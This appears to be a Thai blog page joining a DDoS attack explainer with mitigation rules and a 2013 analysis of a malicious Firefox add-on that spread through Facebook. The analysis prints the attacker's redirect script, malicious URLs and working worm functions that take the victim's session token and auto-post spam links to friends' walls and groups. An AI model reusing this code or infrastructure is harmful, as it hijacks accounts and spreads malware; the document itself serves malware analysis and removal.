ผู้ที่โจมตีแบบ DDoS มักจะนำเครื่องมือที่จะใช้ในการโจมตีไปติดตั้งบนคอมพิวเตอร์ที่ถูกเจาะไว้แล้ว คอมพิวเตอร์ที่ได้รับเครื่องมือนี้ เข้าไปจะเรียกว่า ซอมบี้ ซึ่งเมื่อมีจำนวนพอสมควรก็จะระดมส่งข้อมูลในรูปแบบที่ควบคุมได้โดยผู้ควบคุมการโจมตีไปยังเหยื่อ หรือเป้าหมายที่ต้องการ ซึ่งการโจมตีรูปแบบนี้มักจะก่อให้เกิดการใช้แบนด์วิดธ์อย่างเต็มที่จนผู้ อื่นไม่สามารถใช้งานได้ตามปกติ หรือทำให้ระบบที่ถูกโจมตีไม่มีทรัพยากรเหลือพอที่จะให้บริการผู้ใช้ธรรมดาได้
รูปแบบการโจมตี
เครื่องมือที่ใช้โจมตี แบบ DDoS มีใช้กันอย่างแพร่หลายมานานหลายปีแล้วย้อนหลังเป็น 10 ปี มาแล้ว (แต่บรรดาผู้ผลิตอุปกรณ์คอมพิวเตอร์ต่างก็มีวิธีป้องกันการโจมตีเช่นเดียวกัน) รูปแบบการโจมตีที่นิยมใช้กันก็มีอย่าง SYN flood, UDP flood, ICMP flood, Smurf, Fraggle เป็นต้น ซึ่งมีรายละเอียดโดยสังเขปดังนี
1. การโจมตีแบบ SYN Flood
เป็นการโจมตีโดยการส่ง แพ็คเก็ต TCP ที่ตั้งค่า SYN บิตไว้ไปยังเป้าหมาย เสมือนกับการเริ่มต้นร้องขอการติดต่อแบบ TCP ตามปกติ (ผู้โจมตีสามารถปลอมไอพีของ source address ได้) เครื่องที่เป็นเป้าหมายก็จะตอบสนองโดยการส่ง SYN-ACK กลับมายัง sourceIP address ที่ระบุไว้ ซึ่งผู้โจมตีจะควบคุมเครื่องที่ถูกระบุใน sourceIP address ไม่ให้ส่งข้อมูลตอบกลับ ทำให้เกิดสภาวะ half-open ขึ้นที่เครื่องเป้าหมาย หากมีการส่ง SYN flood จำนวนมาก ก็จะทำให้คิวของการให้บริการของเครื่องเป้าหมายเต็ม ทำให้ไม่สามารถให้บริการตามปกติได้ นอกจากนี้ SYN flood ที่ส่งไปจำนวนมาก ยังอาจจะทำให้เกิดการใช้แบนด์วิดธ์อย่างเต็มที่
2. การโจมตีแบบ ICMP Flood
เป็นการส่งแพ็คเก็ต ICMP ขนาดใหญ่จำนวนมากไปยังเป้าหมาย ทำให้เกิดการใช้งานแบนด์วิดธ์เต็มที่
3. การโจมตีแบบ UDP Flood
เป็นการส่งแพ็คเก็ต UDP จำนวนมากไปยังเป้าหมาย ซึ่งทำให้เกิดการใช้แบนด์วิดธ์อย่างเต็มที่ หรือทำให้ทรัพยากรของเป้าหมายถูกใช้ไปจนหมด โดยจะส่ง UDP packet ไปยัง port ที่กำหนดไว้ เช่น 53 (DNS)
4. การโจมตีแบบ Teardrop
โดยปกติเราเตอร์จะไม่ยอม ให้แพ็กเก็ตขนาดใหญ่ผ่านได้ จะต้องทำ Fragment เสียก่อนจึงจะยอมให้ผ่านได้ และเมื่อผ่านไปแล้วเครื่องของผู้รับปลายทางจะนำแพ็กเก็ตที่ถูกแบ่งออกเป็น ชิ้นส่วนต่าง ๆ ด้วยวิธีการ Fragment มารวมเข้าด้วยกันเป็นแพ็กเก็ตที่สมบูรณ์ การที่สามารถนำมารวมกันได้นี้จะต้องอาศัยค่า Offset ที่ปรากฏอยู่ ในแพ็กเก็ตแรกและแพ็กเก็ตต่อๆ ไปสำหรับการโจมตีแบบ Teardrop นี้ ผู้โจมตีจะส่งค่า Offset ในแพ็กเก็ตที่สองและต่อ ๆ ไปที่จะทำให้เครื่องรับปลายทางเกิดความสับสน หากระบบปฏิบัติการไม่สามารถรับมือกับปัญหานี้ ก็จะทำให้ระบบหยุดการทำงานในทันที
5. การโจมตีแบบ Land Attack
ลักษณะการโจมตีประเภทนี้ เป็นการส่ง SYN ไปที่เครื่องเป้าหมายเพื่อขอการเชื่อมต่อ ซึ่งเครื่องที่เป็นเป้าหมาย จะต้องตอบรับคำขอการเชื่อมต่อด้วย SYN ACK ไปที่เครื่องคอมพิวเตอร์ต้นทางเสมอ แต่เนื่องจากว่า IP Address ของเครื่องต้นทางกับเครื่องที่เป็นเป้าหมายนี้มี IP Address เดียวกัน โดยการใช้วิธีการสร้าง IP Address ลวง (โดยข้อเท็จจริงแล้วเครื่องของ Hacker จะมี IP Address ที่ต่างกับเครื่องเป้าหมายอยู่แล้ว แต่จะใช้วิธีการทางซอฟต์แวร์ ในการส่งแพ็กเก็ตที่ประกอบด้วยคำขอการเชื่อมต่อ พร้อมด้วย IP Address ปลอม) ซึ่งโปรโตคอลของเครื่องเป้าหมาย ไม่สามารถแยกแยะได้ว่า IP Address ที่เข้ามาเป็นเครื่องปัจจุบันหรือไม่ ก็จะทำการตอบสนองด้วย SYN ACK ออกไป หากแอดเดรสที่ขอเชื่อมต่อเข้ามาเป็นแอดเดรสเดียวกับเครื่องเป้าหมาย ผลก็คือ SYN ACK นี้จะย้อนเข้าหาตนเอง และเช่นกันที่การปล่อย SYN ACK แต่ละครั้งจะต้องมีการปันส่วนของหน่วยความจำเพื่อการนี้จำนวนหนึ่ง ซึ่งหากผู้โจมตีส่งคำขอเชื่อมต่อออกมาอย่างต่อเนื่องก็จะเกิดปัญหาการจัดสรรหน่วยความจำ
6. Smurf
ผู้โจมตีจะส่ง ICMP Echo Request ไปยัง broadcast address ในเครือข่ายที่เป็นตัวกลาง (ปกติจะเรียกว่า amplifier) โดยปลอม source IP address เป็น IP address ของระบบที่ต้องการโจมตี ซึ่งจะทำให้เครือข่ายที่เป็นตัวกลางส่ง ICMP Echo Reply กลับไปยังIP address ของเป้าหมายทันที ซึ่งทำให้มีการใช้งานแบนด์วิดธ์อย่างเต็มที่
ความเสียหายที่เกิดโดยการโจมตีในรูปแบบ DDoS
ความเสียหายที่เกิดจาก DDoS ส่งผลให้ผู้ใช้งานแต่ละส่วนไม่เหมือนกันแล้วแต่ว่าเขาจะอยู่ในส่วนใด เช่น เป็นผู้เข้าไปใช้งาน เป็นพนักงานในองค์กรที่โดนโจมตีหรือเป็นเจ้าของเครื่องที่ถูกใช้ในการโจมตีหรือจะมองในแง่ขององค์กรที่โดนโจมตี ทุกๆ ฝ่ายล้วนแล้วแต่เป็นฝ่ายเสียทั้งนั้นยกเว้นคนที่ทำให้เหตุการณ์นี้เกิดขึ้นหรือคนที่เป็นคนบงการอยู่เบื้องหลังเท่านั้นที่ได้ประโยชน์ จากการโจมตีนั้น ถ้าเราจะจัดความเสียหาย ของ DoS นั้นก็สามารถจัดได้ตามประเภทของการทำงานของตัว DDoS เอง ซึ่งสามารถแบ่งได้เป็นสองประเภทด้วยกันคือ
1. ความเสียหายกับเครื่องคอมพิวเตอร์
1.1 เครื่องที่ถูกใช้เป็นเครื่องมือในการโจมตีอันดับแรกคือเราสูญเสียการควบคุมของเครื่องเราเองทำให้คนอื่นสามารถเข้ามาบงการ เครื่องของเราให้ไปทำอย่างโน้นทำอย่างนี้ตามที่เขาต้องการได้อันดับสองคือการเสียทรัพยากรของเครื่องเองไม่ว่าจะเป็น ซีพียู เมโมรี หรือแบนด์วิดธ์เป็นต้นทรัพยากรต่าง ๆ ของเครื่องที่กล่าวไปแล้วนั้นจะถูกใช้ไปรันโปรแกรมที่จะใช้ในการเข้าไปโจมตี เครื่องเหยื่อ ทำให้เครื่องคอมพิวเตอร์ของเรานั้นไม่สามารถใช้งานได้อย่างเต็มที่
1.2 เครื่องที่เป็นเหยื่อในการโจมตีครั้งนี้แน่นอนว่าทำให้เครื่องนั้นไม่สามารถให้บริการต่อไปได้เพราะจุดประสงค์หลักของ DDoS ก็คือสิ่งนี้เพราะเครื่องนั้นมัวแต่ประมวลผล Request จำนวนมากที่ถูกส่งเข้ามาทำให้เครื่องนั้นทำงานหนักจนไม่สามารถรับงาน ได้อีกต่อไปบางเครื่องอาจจะแฮงก์ไปเฉย ๆ หรือระบบอาจจะ Crash เลยก็เป็นไปได้ทำให้เครื่องนั้นไม่สามารถให้บริการได้อีก
2. ความเสียหายกับระบบเน็ตเวิร์ก
2.1 มุมที่ผู้ถูกใช้เป็นเครื่องมือทำให้แบนด์วิดธ์ที่เราควรจะมีเหลือไว้ ใช้นั้นถูกใช้ไปกับการโจมตีเสียหมด บางครั้งก็กินแบนด์วิดธ์ทั้งหมดที่เรามีอยู่เพื่อใช้ในการโจมตีทำให้เครื่อง หรือระบบที่ถูกใช้เป็นเครื่องมือในการโจมตีนั้นไม่สามารถใช้งานระบบ เน็ตเวิร์กได้อีกต่อไป
2.2 มุมที่ผู้ถูกโจมตี เช่นเดียวกับแบนด์วิดธ์ของผู้ที่ถูกโจมตีนั้นก็จะใช้ไปอย่างรวดเร็วจนหมด ทำให้บริการที่เตรียมไว้ที่เครื่องที่ถูกโจมตี นั้นไม่สามารถใช้งานได้อีกต่อไปเครื่องที่ต้องการที่จะติดต่อเข้ามาที่เครื่องนี้หรือผ่านเครื่องนี้เพื่อเข้าไปในระบบข้างใน (ในกรณีที่เป็นไฟร์วอลล์) ไม่สามารถใช้งานได้ผู้ที่อยู่ด้านในของระบบก็จะไม่สามารถเชื่อมต่อกับ ระบบภายนอกได้เช่นเดียวกันแต่ระบบ LAN
3. ความเสียหายกับองค์กร
3.1 เมื่อเกิดการโจมตีขึ้นแล้วก็มีแต่เสียกับเสียเท่านั้นยิ่งองค์กรที่ถูกโจมตีด้วยแล้วความเสียหายนั้นก็เกิดขึ้นอย่างมากมายทีเดียว เริ่มตั้งแต่ความเสียหายของตัวเครื่องคอมพิวเตอร์หรือระบบที่โดนโจมตีเองทำให้ต้องเสียเวลาเสียค่าใช้จ่ายในการซ่อมแซม เพื่อที่ให้สามารถกลับมาให้บริการได้อย่างเดิม
3.2 เสียโอกาสทางธุรกิจโอกาสที่จะทำธุรกรรมกับเครื่องที่โดนโจมตีหรือการทำธุรกรรมอื่นๆกับระบบภายในที่จำเป็น ต้องต่อเชื่อมกับอินเตอร์เน็ตสูญเสียโอกาสที่จะทำธุรกรรมทางอินเตอร์เน็ตโอกาสที่ลูกค้าจะเข้ามาในเว็บโอกาสที่จะปิดการขายโอกาส ที่จะสร้างรายได้และอีกหลาย ๆ โอกาสที่ทางองค์กรจะต้องเสียไป
3.3 เสียภาพลักษณ์ขององค์กรที่ถูกโจมตีด้วยการโจมตีประเภท DDoS นั้นทำให้การบริการที่องค์กรนั้น เตรียมพร้อมไว้ให้บริการไม่สามารถให้บริการได้ทำให้ภาพลักษณ์ขององค์กรนั้นเสียไปเพราะไม่สามารถป้องกัน เหตุที่เกิดขึ้นได้หรือไม่มีวิธีการแก้ไขที่รวดเร็วจนทำให้เกิดความเสียหายขึ้นทำให้ลูกค้าขาดความเชื่อมั่นในองค์กร ว่าจะสามารถตอบสนองความต้องการของตนได้อาจเป็นเหตุให้ลูกค้าเปลี่ยนใจไปใช้บริการของ องค์กรอื่นแทนในที่สุด
DNS Amplification Attack
สำหรับ DNS Amplification Attack (หรืออาจเรียกว่า DNS Reflection Attack) นี้เป็นวิธีการโจมตีแบบใช้ตัวตายตัวแทนเรื่องนี้ค่อนข้างเก่า พอสมควรเพราะเป็นวิธีการโจมตีเครือข่ายที่ทำง่าย และป้องกันได้ยากมากวิธีนึงครับ โดยมีแผนผังการโจมตีดังนี้
สาเหตุที่เรียกว่า DNS Amplification หรือ DNS Reflection Attack นั้นก็มาจากลักษณะของการโจมตีครับ ด้วยตัวพื้นฐานของระบบ DNS นั้นจะใช้ protocol UDP ซึ่งเป็นการรับส่งข้อมูลแบบ stateless คือสามารถส่งข้อมูลออกไปได้ตั้งแต่ packet แรกที่ส่ง ดังนั้นจึงเกิดการปลอมแปลงได้ง่ายมากครับ โดยผู้โจมตีจะทำการปลอมแปลงเป็น IP ของเหยื่อ แล้วระดมส่งคำร้องขอทำการ resolve DNS ไปยัง DNS Server ที่ต่างๆ และเมื่อ DNS Server ได้รับคำร้องแล้ว ก็จะตอบกลับไปหา IP ของเหยื่อ (ตามที่ผู้โจมตีปลอมมา) ทำให้เหยื่อได้รับ packet DNS ปริมาณมหาศาลตามลักษณะของรูปด้านบนครับ และที่บอกว่าเป็น Amplification Attack เพราะรูปแบบของคำร้อง DNS เหล่านี้ส่วนมากจะเป็น packet สั้นๆ แต่ขนาดของ packet ที่ DNS server จะต้องตอบกลับไปมีขนาดใหญ่มาก ทำให้ bandwidth ของเครื่องที่ถูกโจมตีเต็มได้ครับ
สำหรับวิธีป้องกันอาจแบ่งออกเป็น 3 ส่วนคือ ดังนี้
1. ส่วนของ bandwidth และส่วนของการทำ stateful inspection โดยการคือหาเครื่อง firewall หรือ server ที่รองรับ bandwidth ปริมาณมากกว่าการโจมตีให้ได้ก่อน แล้วจึงทำการ drop ข้อมูลการถาม DNS
2. แบบ stateful ทำโดยตั้งให้ว่าถ้า firewall ไม่เจอคำร้องสำหรับ DNS request นั้น ให้ทำการ drop reply ที่ได้รับนั้นทิ้งดังตัวอย่าง IPTables
iptables -A FORWARD -m state —state NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -j DROP
3. เจ้าของ server ถ้าเป็นไปได้ ไม่ควรเปิด recursion resolve เพื่อไม่ให้เครื่อง server ของตัวเองกลายเป็นเครื่องที่ไปโจมตีได้

วันจันทร์ที่ 17 มิถุนายน พ.ศ. 2556

Analysis Facebook Malware[ | Facebook Messenger 2013]

วันนี้มีเพื่อนของผมใน Facebook บางคนติดไวรัสที่ทำงานแพร่กระจายผ่าน Facebook โดยจะเป็นการโพสต์ที่ Wall ของ เหยื่อที่ติดไวรัสตัวนี้ และโพสต์ในกรุ๊ปต่างๆที่เหยื่อนั้นเป็นสมาชิกอยู่ด้วยครับ ซึ่งรูปร่างหน้าตาของข้อความจะเป็นประมาณนี้ครับ

ซึ่งอันนี้เป็นข้อความที่ผมเอามาจาก email ที่ส่งมาจาก Facebook อีกที ซึ่งเมล์แบบนี้จะเกิดขึ้นเมื่อมีการ mention ชื่อผมในข้อความนั่นเอง โดยจากภาพจะเห็นว่าด้านหน้าสุดจะเป็นชื่อของผู้ที่โพสต์ข้อความหรือก็คือ เหยื่อนั่นเอง ส่วนขึดดำๆนั่นคือชื่อของเหล่าคนที่ถูก mention ครับ
ซึ่งพอ ผมเห็นข้อความประมาณนี้ผมคิดในใจทันทีว่า อยู่ดีๆก็ mention แบบไม่มีปี่ไม่มีขลุ่ยแบบนี้ น่าจะไวรัสชัวร์ๆ ดังนั้นผมจึงไม่กล้าที่จะกด link ดังกล่าวครับ แต่ก็ยังมีความสงสัยอยู่ว่ามันเป็นยังไงและคืออะไร แต่ในขณะนั้นผมใช้งานบน iPad ทำให้ไม่สะดวกในการเข้าไปดูเพราะไม่มี plugin security ใดๆบน chrome browser ของผมเลย(ถ้าเป็น Notebook ผมคงใช้ Plugin อย่าง NoScript ของ Firefox หรือ NotScript ของ Chrome ที่เอาไว้หยุดการรัน script ที่เว็บไซด์ที่เราเข้าไปนั่นเอง*) ดังนั้นผมจึงเลือกที่จะใช้บริการเว็บไซด์ที่สามารถ view source code ได้โดยที่เราไม่จำเป็นต้องเข้าเว็บไซด์อย่าง เว็บไซด์ serversfree.com แทนนั่นเอง ซึ่ง URL ของเว็บแอพพลิเคชั่นที่ว่าก็คือ http://www.serversfree.com/free-seo-tools/view-source-code/ นั่นเอง

โดยเมื่อผมใส่ URL http://bb1.co/1181581977 ที่เป็นข้อความกระจายไวรัสผมก็ได้ผลดังภาพครับ



จะเห็น source code ของเว็บไซด์ดังกล่าวครับ นั่นหมายความว่าถึงแม้เราจะไม่ได้เข้าเว็บไซด์ดังกล่าวก็สามารถดู source code ของเว็บไซด์เป้าหมายได้เช่นกัน ทีนี้มาดูกันว่า source code ของเว็บไซด์ดังกล่าวเป็นอย่างไรบ้าง โดยผมคิดว่าหากโพสต์ในนี้มันจะยาวเกินไป หากใครต้องการ code ตัวเต็มให้เข้าไปดูใน link นี้ครับ http://pastebin.com/gxhG7BQc

พอดูคร่าวๆแล้วผมก็ไม่เห็นจะมีอะไร เท่าที่ดูเป็นตัวที่ใช้ในการนำ shorten URL(URL แบบย่อ)
http://bb1.co/1181581977 ไปเป็น Long URL(URL ปกติ)มากกว่า แต่ก็ยังสงสัยว่ามันโจมตียังไงหรือมีการทำงานยังไง ก็เลยจบการวิเคราะห์บน iPad ไว้ก่อนเพราะกลัวจะโดนอะไรไปซะก่อน :p

จากนั้นก็มาทดสอบการใช้งานเว็บไซด์ที่แพร่กระจายอีกทีด้วย VMWare ของผมเองด้วย Burp Suite โดยได้ผลดังนี้ครับ


เมื่อเข้าไปยังเว็บไซด์ http://bb1.co/1181581977

มีการตอบกลับมาเป็น
HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Tue, 11 Jun 2013 15:53:58 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 90
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=4cb5fca8c1981f2c42cbe6b34f4a3da4; path=/
Vary: User-Agent,Accept-Encoding
Connection: keep-alive

<META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://sarjad.net/theme/id/images/?1181581977">






ซึ่งก็คือการ redirect ไปยัง http://sarjad.net/theme/id/images/?1181581977 หรือก็คือ Long URL ของ
http://bb1.co/1181581977 นั่นเอง

จากนั้นเมื่อเข้าไปที่ http://sarjad.net/theme/id/images/?1181581977 พบว่ามีการตอบสนองกลับมาเป็น 
HTTP/1.1 200 OK
Content-Length: 882
Content-Type: text/html
Server: Apache
Last-Modified: Tue, 11 Jun 2013 15:41:16 GMT
Connection: keep-alive
Date: Tue, 11 Jun 2013 15:55:58 GMT

<script language="javascript" type="text/javascript">
    var firefoxurl    = "http://sarjad.net/theme/id/images/firefox.php?mozilla";
    var chromeurl    = "http://xdailyhaha.blogspot.com/?chrome";
    var operaurl    = "http://xdailyhaha.blogspot.com/?opera";
    var safariurl    = "http://xdailyhaha.blogspot.com/?safari";
    var elseurl    = "http://xdailyhaha.blogspot.com/?else";
    var is_opera=navigator.userAgent.toLowerCase().indexOf("opera")>-1;
    var is_chrome=navigator.userAgent.toLowerCase().indexOf("chrome")>-1;
    var is_safari=navigator.userAgent.toLowerCase().indexOf("safari")>-1;
    var is_firefox=navigator.userAgent.toLowerCase().indexOf("firefox")>-1;
    if(is_chrome)    inst=chromeurl;
    else if(is_firefox)    inst=firefoxurl;
    else if(is_opera)    inst=operaurl;
    else if(is_safari)    inst=safariurl;
    else        inst=elseurl;
    top.location.href = inst;
</script>


ซึ่งจากเว็บเพจดังกล่าวมี javascript ที่ใช้ในการ redirect เหยื่อไปยังเว็บไซด์ต่างๆตาม Browser ที่เราใช้งานด้วย statement navigator.userAgent.toLowerCase().indexOf($Browser_Name) โดยในที่นี้ผมใช้เป็น Firefox ดังนั้นก็จะถูก redirect เข้าไปที่ http://sarjad.net/theme/id/images/firefox.php?mozilla (หากเป็น Chrome ก็จะกลายเป็นเข้าไปที่ http://xdailyhaha.blogspot.com/?chrome แทนครับ)

และเมื่อเข้าไปหน้า http://sarjad.net/theme/id/images/firefox.php?mozilla ซึ่งเป็นหน้าที่หลอกให้เหยื่อ download plugin ของ Firefox ไปติดตั้ง

ตัวอย่างการเข้าด้วย Firefox

ตัวอย่างการเข้าด้วย Chrome

พร้อมทั้งในหน้า page ดังกล่าวก็มีการใช้พวก histat เพื่อเก็บสถิติการเข้าถึงด้วย
<script type="text/javascript">document.write(unescape("%3Cscript src=%27http://s10.histats.com/js15.js%27 type=%27text/javascript%27%3E%3C/script%3E"));</script>
        <script  type="text/javascript" >
        try {Histats.start(1,2259907,4,0,0,0,"");
        Histats.track_hits();} catch(err){};
        </script>


อีกทั้งมีการหาเงินจาก ads ด้วยครับ

GET /st?ad_type=iframe&ad_size=728x90&section=4310197&pub_url=${PUB_URL} HTTP/1.1
Host: onlineadserv.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://sarjad.net/theme/id/images/firefox.php?mozilla
Connection: keep-alive


GET /st?ad_type=iframe&ad_size=728x90&section=4310197 HTTP/1.1
Host: ad.yieldmanager.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://onlineadserv.com/st?ad_type=iframe&ad_size=728x90&section=4310197&pub_url=${PUB_URL}
Cookie: ih="b!!!!'!B*!B!!!!$>33Yy!DfK0!!!!#>3,$8!DfWq!!!!#>33`R!DyuX!!!!$>3,$7"; bx=62qkht18dehmk&b=3&s=1l&t=116; RMBX=62qkht18dehmk&b=3&s=1l&t=116; BX=62qkht18dehmk&b=3&s=1l&t=116; bh="b!!!!#!%ODP!!!!#>3367"
Connection: keep-alive


ทีนี้หากเรากดที่ปุ่ม Update ก็จะกลายเป็น dialog ถามว่าจะติดตั้ง Firefox Addon ตัวนี้มั้ยนั่นเองครับ

ผมได้ลอง download http://sarjad.net/theme/id/images/ribbons/socialne.xpi มาแกะดูภายในไฟล์ พบว่ามีไฟล์ที่น่าสนใจคือ facebook.js นั่นเอง

ซึ่งจากการวิเคราะห์ facebook.js มันจะไปดึงข้อมูล cookie ของเราจาก LocalStorage ออกมาเพื่อปลอมตัวเองเป็นเหยื่อสำหรับการโพสต์ข้อมูลต่างๆนั่นเอง
GM_getValue=function(name, defaultValue) { return window.localStorage.getItem(name) || defaultValue;};

 จากนั้นก็จะไล่ดู history ของเหยื่อที่เคยเข้า ว่าเข้า facebook URL อะไรบ้าง แล้วไล่ไปโพสต์ทุกอันอีกทีครับ
GM_xmlhttpRequest=function(obj) {
    try {
        if (obj && obj.url && obj.url.indexOf("facebook.com")>0) {
            var request=new window.XMLHttpRequest();
            request.onreadystatechange=function() { if(obj.onreadystatechange) { obj.onreadystatechange(request); }; if(request.readyState==4 && obj.onload) { obj.onload(request); } }
            request.onerror=function() { if(obj.onerror) { obj.onerror(request); } }
            try { request.open(obj.method,obj.url,true); } catch(e) { if(obj.onerror) { obj.onerror( {readyState:4,responseHeaders:'',responseText:'',responseXML:'',status:403,statusText:'Forbidden'} ); }; return; }
            if(obj.headers) { for(name in obj.headers) { request.setRequestHeader(name,obj.headers[name]); } }
            request.send(obj.data); return request;
        }
        else {
            opera_xhr_counter++;
            var xhr = { 'method':obj.method, 'url':obj.url, 'headers':obj.headers, 'data':obj.data };
            var req_obj = {'type':'ajax', 'xhr':xhr, 'id':opera_xhr_counter};
            opera_xhr_funcs[ opera_xhr_counter ] = obj.onload;
            opera.extension.postMessage( JSON.stringify(req_obj) );
        }
    } catch(e) {
        alert(e);
    }
};


จากการไล่ดูข้อมูลคร่าวๆทั้งหมด ก็สามารถสรุปได้ดังนี้
1. Malware ตัวนี้ใช้การกระจายผ่าน Shorten URL
2. ใช้ Service ที่เปลี่ยนจาก Shorten URL ไปเป็น Long URL ในการทำให้การโจมตีซับซ้อนยิ่งขึ้น(Obfuscation)
3. Malware ดังกล่าวเป็นการโจมตีดั่งที่เพื่อนผม Kenny พูดไว้เมื่อ 3 ปีที่แล้วได้ นั่นก็คือการโจมตีแบบ Cocktail Attack โดยเป็นการโจมตีที่จะใช้ payload ตาม Browser ที่เราเข้า
4. การโจมตีเน้นการโจมตีแบบ Drive-By-Download ติดตั้ง virus อยู่ภายในเครื่องเราผ่านการติดตั้งพวก plugin
5. การโจมตีทั้งหมด นั้นทำเพื่อ Black SEO และหาเงินผ่าน Ads ต่างๆครับ
6. พยายามแพร่กระจายผ่าน Facebook
7. มีความพยายามในการโจมตีที่ซับซ้อนและหลากหลายมากขึ้น

วิธีการแก้ไขของ Firefox คือ
 เข้าไปลบ Plugin ที่มีชื่อว่า Facebook 2013 2.0 ครับ โดยเข้าไปที่ Tools -> Add-ons -> Extensions จากนั้นจะเห็นชื่อ "Facebook 2013 2.0" เลือก Remove แล้วก็ Restart Now ได้เลยครับ

*** หมายเหตุหากไม่เอาออกและเราเปิดหน้า Facebook ค้างไว้ ตัว malware add-ons ตัวนี้ก็จะทำการโพสต์ข้อความไปเรื่อยๆครับ


*** Update

ส่วนนี้เป็นส่วนเพิ่มเติมที่ผมทำคือลองลง add-ons ตัวนั้นดูครับ ซึ่งผลที่ได้ก็ไม่แปลกใจซักเท่าไหร่ ซึ่งผมสามารถสรุปได้ดังนี้
1. ไม่มีการฝัง backdoor ไว้ในเครื่อง
2. ไม่มีการสร้าง service เพิ่มเติมไว้ในเครื่องเรา
3. ทำงานผ่าน add-ons ที่ติดตั้งไว้ใน Browser ของเราเลย ซึ่งนั่นหมายความว่าการทำงาน request ต่างๆจะกระทำผ่าน Firefox โดยที่เราไม่รู้ตัวเลย ซึ่งจะคล้ายๆกับ Man-In-The-Browser แต่เป็นการใช้ session ที่ถูกจัดการไปใน browser มากกว่า
4. มีการ download javascript มา run เป็นระยะๆ ซึ่งก็จะคล้ายๆกับการไปดาวโหลดคำสั่งมาจาก C&C server นั่นเอง


โดยพอเราเข้า Facebook.com ก็จะมีการ download javascript จาก crazyjack.no-ip.info และ crazyjacks.googlecode.com ทันที  
5. Javscript จาก crazyjack.no-ip.info แบ่งเป็น 3 ส่วน
   5.1 post.js จะมีการดึง cookie ออกมาด้วยคำสั่ง javascript จากนั้นก็หา userid ของเราผ่าน c_user ออกมา แล้วค้นหา list เพื่อน,group ด้วยคำสั่งประมาณว่า

https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&options[0]=friends_only&options[1]=nm&token=v7&viewer=$userid&__user=$userid 

https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&filter[0]=group&options[0]=friends_only&options[1]=nm&token=v7&viewer=$userid&__user=$userid

แล้ว post ไปในข้อความ, wall และ group ของเหยื่อด้วย XML

function postagroup(idgrp){
    var xmlhttppg = new XMLHttpRequest();
    xmlhttppg.onreadystatechange = function () { if(xmlhttppg.readyState == 4){} };
    if (document.URL.indexOf("https://") >= 0) { xmlhttppg.open("POST", "https://www.facebook.com/ajax/updatestatus.php", true); } else { xmlhttppg.open("POST", "http://www.facebook.com/ajax/updatestatus.php", true); }
    var params = "fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value + "&xhpc_context=profile&xhpc_ismeta=1&xhpc_fbx=1&xhpc_timeline=1&xhpc_composerid=u_jsonp_2_c&xhpc_targetid=" + idgrp + "&xhpc_message=| " + title_cry + " > " + url_cry + "&xhpc_message_text=| " + title_cry + " > " + url_cry + "&is_explicit_place=&composertags_place=&composertags_place_name=&composer_session_id=1363309654&composertags_city=&disable_location_sharing=false&composer_predicted_city=&nctr[_mod]=pagelet_group_composer&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=k&phstamp=165816749114848369115";
    xmlhttppg.setRequestHeader ("X-SVN-Rev", svn_rev);
    xmlhttppg.send(params);
}
function postpaylas(){
    var xmlhttppo = new XMLHttpRequest();
    xmlhttppo.onreadystatechange = function () { if(xmlhttppo.readyState == 4){} };
    if (document.URL.indexOf("https://") >= 0) { xmlhttppo.open("POST", "https://www.facebook.com/ajax/updatestatus.php", true); } else { xmlhttppo.open("POST", "http://www.facebook.com/ajax/updatestatus.php", true); }
    var params = "fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value+"&xhpc_context=profile&xhpc_ismeta=1&xhpc_fbx=1&xhpc_timeline=1&xhpc_composerid=u_0_33&xhpc_targetid=" + user_id + "&xhpc_message=" + mesaj + " %0A%0A|| " + title_cry + " > " + url_cry + "&xhpc_message_text=" + mesaj_text + " %0A%0A|| " + title_cry + " > " + url_cry + "&backdated_date[year]=&backdated_date[month]=&backdated_date[day]=&backdated_date[hour]=&backdated_date[minute]=&is_explicit_place=&composertags_place=&composertags_place_name=&composer_session_id=1363309654&composertags_city=&disable_location_sharing=false&composer_predicted_city=&audience[0][value]=80&nctr[_mod]=pagelet_timeline_recent&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=m&phstamp=165816749114848369115";
    xmlhttppo.setRequestHeader ("X-SVN-Rev", svn_rev);
    xmlhttppo.send(params);
}


โดยทุกครั้งที่จะ post จะมีการไปดึง link ที่ถูก generate มาจาก http://sarjad.net/theme/id/images/ribbons/urlgen.php อีกด้วย ซึ่งทุกครั้งที่นำข้อมูลมา ก็จะมีการลบ function ที่ใช้ในการดึง link ออก แล้วไปเปลี่ยนชื่อ function ใหม่ เข้าใจว่าเพื่อเอา link หลายๆอันที่เป็น ads มาใช้เปลี่ยนไปเรื่อยๆนั่นเอง

   5.2 all.js เป็น script ที่เอาไว้ไปเรียก http://whos.amung.us เพื่อเอาไว้ดูว่าเหยื่อเข้า Facebook ไปถึงไหนแล้ว เพราะเท่าที่ดูผมเข้าไปแค่หน้าแรกของ Facebook เวลา request ออกไปก็จะกลายเป็น 

http://whos.amung.us/pingjs/?k=casperpost&t=Welcome%20to%20Facebook%20-%20Log%20In,%20Sign%20Up%20or%20Learn%20More&c=c&y=&a=0&r=784

ซึ่งก็คือ Header หน้าแรกของ Facebook นั่นเอง


   5.3 user.js จะเป็นส่วนที่ไปโพสต์ malware link คล้ายๆกับ post.js แต่จะเน้นไปที่อะไรที่เกี่ยวกับ user เช่นคนที่เรา follow, fan page, page ที่เรากด like และอื่นๆ

